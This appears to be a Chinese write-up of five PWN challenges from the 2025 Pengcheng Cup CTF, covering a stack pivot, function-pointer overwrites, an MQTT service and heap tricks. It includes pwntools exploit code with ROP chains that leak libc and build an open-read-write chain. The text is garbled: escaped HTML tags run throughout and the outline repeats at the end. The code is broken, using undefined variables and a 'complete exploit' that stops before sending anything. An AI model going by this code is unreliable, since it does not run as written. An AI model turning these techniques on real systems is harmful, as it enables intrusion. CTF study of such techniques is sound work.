2025鹏程杯PWN题解（除VM外）<\/h1>

题目一：Pivoting<\/h2>

程序分析<\/h3>
这是一个银行管理系统，存在栈溢出漏洞。程序逻辑包含死循环，需要绕过才能进行控制流劫持。<\/p>

漏洞点<\/h3>

在取款操作的确认环节存在栈溢出<\/li>
程序重启后全局条件不可逆，需要特别注意交互逻辑<\/li>

存在栈帧不对齐问题，需要ret指令进行抬栈<\/li> <\/ol>

利用思路<\/h3>

第一阶段：泄露libc地址<\/h4>

from<\/span> pwn import<\/span> *<\/span>
<\/span><\/span>
<\/span><\/span>def<\/span> leak_libc<\/span>():
<\/span><\/span>    io =<\/span> process(".\/pwn"<\/span>)
<\/span><\/span>    io.<\/span>recvuntil("Please tell me your name<\/span>\n<\/span>"<\/span>)
<\/span><\/span>    stack =<\/span> u64(io.<\/span>recv(6<\/span>).<\/span>ljust(8<\/span>, b<\/span>"<\/span>\x00<\/span>"<\/span>))
<\/span><\/span>    
<\/span><\/span>    # 构造ROP链泄露write地址<\/span>
<\/span><\/span>    context.<\/span>arch =<\/span> "amd64"<\/span>
<\/span><\/span>    elf =<\/span> ELF(".\/pwn"<\/span>)
<\/span><\/span>    pd =<\/span> flat(0x00000000004014f3<\/span>, elf.<\/span>got["write"<\/span>], 0<\/span>, 
<\/span><\/span>              0x00000000004014f5<\/span>, 1<\/span>, elf.<\/span>plt["write"<\/span>], elf.<\/span>symbols["main"<\/span>])
<\/span><\/span>    pd =<\/span> pd.<\/span>ljust(0x50<\/span>, b<\/span>"<\/span>\x00<\/span>"<\/span>)
<\/span><\/span>    pd +=<\/span> p64(stack-<\/span>0x180<\/span>+<\/span>0x10<\/span>)
<\/span><\/span>    pd +=<\/span> p64(0x4013C8<\/span>)  # leave_ret<\/span>
<\/span><\/span>    
<\/span><\/span>    # 触发漏洞<\/span>
<\/span><\/span>    cmd(pd)
<\/span><\/span>    
<\/span><\/span>    # 接收泄露的地址<\/span>
<\/span><\/span>    io.<\/span>recvuntil("Thanks for your coming<\/span>\n<\/span>"<\/span>)
<\/span><\/span>    libc_base =<\/span> u64(io.<\/span>recv(6<\/span>).<\/span>ljust(8<\/span>, b<\/span>"<\/span>\x00<\/span>"<\/span>)) -<\/span> libc.<\/span>sym['write'<\/span>]
<\/span><\/span>    return<\/span> libc_base
<\/span><\/span><\/code><\/pre>第二阶段：获取shell<\/h4>
尝试多种方法：<\/p>

system调用<\/strong>：由于栈环境问题可能失败<\/li>
one_gadget<\/strong>：需要满足特定约束条件<\/li>
ORW（Open-Read-Write）<\/strong>：最稳定的方法<\/li>
<\/ol>
关键技巧<\/h3>

栈帧对齐<\/strong>：在ROP链前添加ret指令（0x000000000040101a）<\/li>
read再次劫持<\/strong>：通过调用read函数进行二次控制<\/li>
交互逻辑修正<\/strong>：注意程序重启后的状态变化<\/li>
<\/ol>
完整exp<\/h3>
from<\/span> pwn import<\/span> *<\/span>
<\/span><\/span>
<\/span><\/span>io =<\/span> process(".\/pwn"<\/span>)
<\/span><\/span>context.<\/span>log_level =<\/span> "debug"<\/span>
<\/span><\/span>
<\/span><\/span># 泄露libc<\/span>
<\/span><\/span>libc_base =<\/span> leak_libc()
<\/span><\/span>
<\/span><\/span># 构造ORW链<\/span>
<\/span><\/span>rdi =<\/span> libc_base +<\/span> 0x000000000002a3e5<\/span>
<\/span><\/span>rsi =<\/span> libc_base +<\/span> 0x000000000002be51<\/span>  
<\/span><\/span>rdx =<\/span> libc_base +<\/span> 0x00000000000904a9<\/span>
<\/span><\/span>open_addr =<\/span> libc_base +<\/span> libc.<\/span>sym['open'<\/span>]
<\/span><\/span>read_addr =<\/span> libc_base +<\/span> libc.<\/span>sym['read'<\/span>]
<\/span><\/span>write_addr =<\/span> libc_base +<\/span> libc.<\/span>sym['write'<\/span>]
<\/span><\/span>
<\/span><\/span># 通过read进行二次控制<\/span>
<\/span><\/span>rop_chain =<\/span> flat(
<\/span><\/span>    rdi, 0<\/span>, rsi, stack-<\/span>0x180<\/span>+<\/span>0x10<\/span>+<\/span>0x28<\/span>, rdx, 0x300<\/span>, 0<\/span>, read_addr, elf.<\/span>sym['main'<\/span>]
<\/span><\/span>)
<\/span><\/span><\/code><\/pre>题目二：myzoo<\/h2>
程序特点<\/h3>

使用_mm_cvtsi32_si128<\/code>等SIMD指令<\/li>
初始化后直接给出PIE地址：printf("gift@%p\n", printf_w)<\/code><\/li>
结构体操作复杂，存在全局变量共享问题<\/li>
<\/ol>
漏洞利用<\/h3>
结构体分析<\/h4>
程序管理三种动物（dog、cat、bird），每个动物有对应的结构体：<\/p>
struct<\/span> Animal {
<\/span><\/span>    int<\/span> type;
<\/span><\/span>    char<\/span> name[16<\/span>];
<\/span><\/span>    int<\/span> age;
<\/span><\/span>    char<\/span> breed[32<\/span>];
<\/span><\/span>    void<\/span> (*<\/span>func_ptr)();
<\/span><\/span>};
<\/span><\/span><\/code><\/pre>利用方法<\/h4>

控制函数指针<\/strong>：通过溢出覆盖结构体中的函数指针<\/li>
格式化字符串漏洞<\/strong>：用于泄露地址信息<\/li>
ROP链构造<\/strong>：由于栈控制有限，需要精心设计<\/li>
<\/ol>
关键发现<\/h3>

调用链：(*(heap_ptr + 6))(heap_ptr + 8)<\/code><\/li>
可控内存范围：4个gadget的长度<\/li>
需要还原结构体布局才能稳定利用<\/li>
<\/ol>
利用步骤<\/h3>

选择cat操作触发漏洞<\/li>
通过格式化字符串泄露libc地址<\/li>
构造system调用或one_gadget<\/li>
<\/ol>
题目三：MQTT<\/h2>
环境搭建<\/h3>
依赖库安装<\/h4>
# 安装libcjson<\/span>
<\/span><\/span>sudo apt install libcjson1
<\/span><\/span>
<\/span><\/span># 安装Paho MQTT C库<\/span>
<\/span><\/span>sudo apt install libpaho-mqtt3c1
<\/span><\/span>
<\/span><\/span># 或从源码编译<\/span>
<\/span><\/span>git clone https:\/\/github.com\/eclipse\/paho.mqtt.c
<\/span><\/span>cd paho.mqtt.c
<\/span><\/span>mkdir build &&<\/span> cd build
<\/span><\/span>cmake -DPAHO_BUILD_SHARED=<\/span>ON ..
<\/span><\/span>make
<\/span><\/span>sudo make install
<\/span><\/span>sudo ldconfig
<\/span><\/span><\/code><\/pre>程序分析<\/h3>
功能概述<\/h4>

车辆诊断系统模拟<\/li>
使用MQTT协议进行通信<\/li>
主题：diag<\/code><\/li>
客户端ID：vehicle_diag<\/code><\/li>
<\/ul>
关键文件<\/h4>

\/mnt\/VIN<\/code>：车辆识别码<\/li>
\/mnt\/version<\/code>：固件版本号<\/li>
\/dev\/status<\/code>：设备状态文件<\/li>
<\/ul>
安全机制<\/h4>

使用多项式滚动哈希（基数31）进行认证<\/li>
验证auth字段是否匹配hash(VIN)<\/li>
<\/ul>
漏洞点<\/h3>

JSON解析漏洞<\/strong>：在回调函数sub_1C8C<\/code>中<\/li>
多线程处理<\/strong>：创建新线程执行sub_1E1A<\/code><\/li>
内存管理问题<\/strong>：MQTT消息结构体处理不当<\/li>
<\/ol>
利用流程<\/h3>

连接MQTT broker（localhost:9999）<\/li>
向diag<\/code>主题发布恶意消息<\/li>
触发回调函数中的漏洞<\/li>
获取flag或执行任意代码<\/li>
<\/ol>
题目四：结构数（BST）<\/h2>
程序功能<\/h3>
二叉搜索树管理系统，包含管理员和普通用户模式。<\/p>
核心函数<\/h3>
\/\/ 树操作
<\/span><\/span><\/span><\/span>insert(BstTreeNode **<\/span>T, int<\/span> value)      \/\/ 插入节点
<\/span><\/span><\/span><\/span>midTree(BstTreeNode *<\/span>T)                 \/\/ 中序遍历  
<\/span><\/span><\/span><\/span>destoryNode(BstTreeNode *<\/span>T, int<\/span> val)    \/\/ 删除节点
<\/span><\/span><\/span><\/span>searchTree(BstTreeNode *<\/span>T, int<\/span> val)     \/\/ 搜索节点
<\/span><\/span><\/span><\/span>editTree(BstTreeNode *<\/span>T, int<\/span> val)       \/\/ 编辑节点
<\/span><\/span><\/span><\/span>
<\/span><\/span>\/\/ 用户管理
<\/span><\/span><\/span><\/span>AdminCheck(BstTreeNode *<\/span>T)              \/\/ 管理员验证
<\/span><\/span><\/span><\/span>creatAdmin()                           \/\/ 创建管理员
<\/span><\/span><\/span><\/span>creatUser()                            \/\/ 创建用户
<\/span><\/span><\/span><\/code><\/pre>漏洞利用<\/h3>
关键技巧<\/h4>

右指针清零<\/strong>：通过树操作使右指针为NULL<\/li>
假chunk构造<\/strong>：利用val最大的堆块构造假chunk<\/li>
栈地址泄露<\/strong>：通过特定操作泄露栈地址<\/li>
<\/ul>
利用步骤<\/h4>

初始化BST（值3和2）<\/li>
通过插入、删除操作操纵内存布局<\/li>
泄露栈地址并劫持控制流<\/li>
<\/ol>
题目五：myfruitshop<\/h2>
程序逻辑<\/h3>
水果商店管理系统，存在数据格式处理漏洞。<\/p>
数据处理流程<\/h3>
输入格式标准化：<\/p>

输入："Apple1=5,Banana=3:Orange2=4,Apple=2"<\/code><\/li>
输出："Apple=5:Banana=3:Apple=2"<\/code><\/li>
<\/ul>
漏洞分析<\/h3>

缺乏边界检查<\/strong>：没有对输入进行充分验证<\/li>
无free操作<\/strong>：存在内存管理问题<\/li>
无show功能<\/strong>：增加了利用难度<\/li>
<\/ol>
利用方法<\/h3>
溢出攻击<\/h4>

利用数据处理逻辑进行溢出<\/li>
越界修改关键数据<\/li>
修改GOT表或hook点<\/li>
<\/ol>
挑战<\/h4>

PIE启用：程序基址随机化<\/li>
高版本libc：传统hook方法可能失效<\/li>
栈地址泄露困难<\/li>
<\/ul>
利用策略<\/h3>

通过溢出修改GOT表<\/li>
利用既定的水果数组结构<\/li>
精心构造payload绕过保护<\/li>
<\/ol>
通用技巧总结<\/h2>
1. 栈帧处理<\/h3>

注意栈对齐问题（x64架构）<\/li>
使用ret指令进行抬栈：0x000000000040101a<\/code><\/li>
考虑leave_ret指令的使用：0x4013C8<\/code><\/li>
<\/ul>
2. 内存泄露<\/h3>

利用格式化字符串漏洞<\/li>
通过GOT表泄露libc地址<\/li>
考虑部分写和内存布局<\/li>
<\/ul>
3. 控制流劫持<\/h3>

ROP链构造要考虑寄存器状态<\/li>
one_gadget需要满足约束条件<\/li>
ORW链在复杂环境下更稳定<\/li>
<\/ul>
4. 交互处理<\/h3>

注意程序状态的重置<\/li>
处理输入输出缓冲问题<\/li>
考虑多线程环境的影响<\/li>
<\/ul>
5. 环境配置<\/h3>

确保依赖库版本兼容<\/li>
注意动态链接库路径<\/li>
调试时使用正确的架构设置<\/li>
<\/ul>
这份题解涵盖了2025鹏程杯PWN题目（除VM外）的核心知识点和利用技巧，重点突出了实际利用过程中的关键点和注意事项。<\/p>

2025鹏程杯PWN题解（除VM外）<\/h1>

题目一：Pivoting<\/h2>

程序分析<\/h3> 这是一个银行管理系统，存在栈溢出漏洞。程序逻辑包含死循环，需要绕过才能进行控制流劫持。<\/p>

利用思路<\/h3>

题目二：myzoo<\/h2>

漏洞利用<\/h3>

题目三：MQTT<\/h2>

环境搭建<\/h3>

程序分析<\/h3>

题目四：结构数（BST）<\/h2>

程序功能<\/h3> 二叉搜索树管理系统，包含管理员和普通用户模式。<\/p>

漏洞利用<\/h3>

题目五：myfruitshop<\/h2>

程序逻辑<\/h3> 水果商店管理系统，存在数据格式处理漏洞。<\/p>

利用方法<\/h3>

通用技巧总结<\/h2>

程序分析<\/h3>
这是一个银行管理系统，存在栈溢出漏洞。程序逻辑包含死循环，需要绕过才能进行控制流劫持。<\/p>

程序功能<\/h3>
二叉搜索树管理系统，包含管理员和普通用户模式。<\/p>

程序逻辑<\/h3>
水果商店管理系统，存在数据格式处理漏洞。<\/p>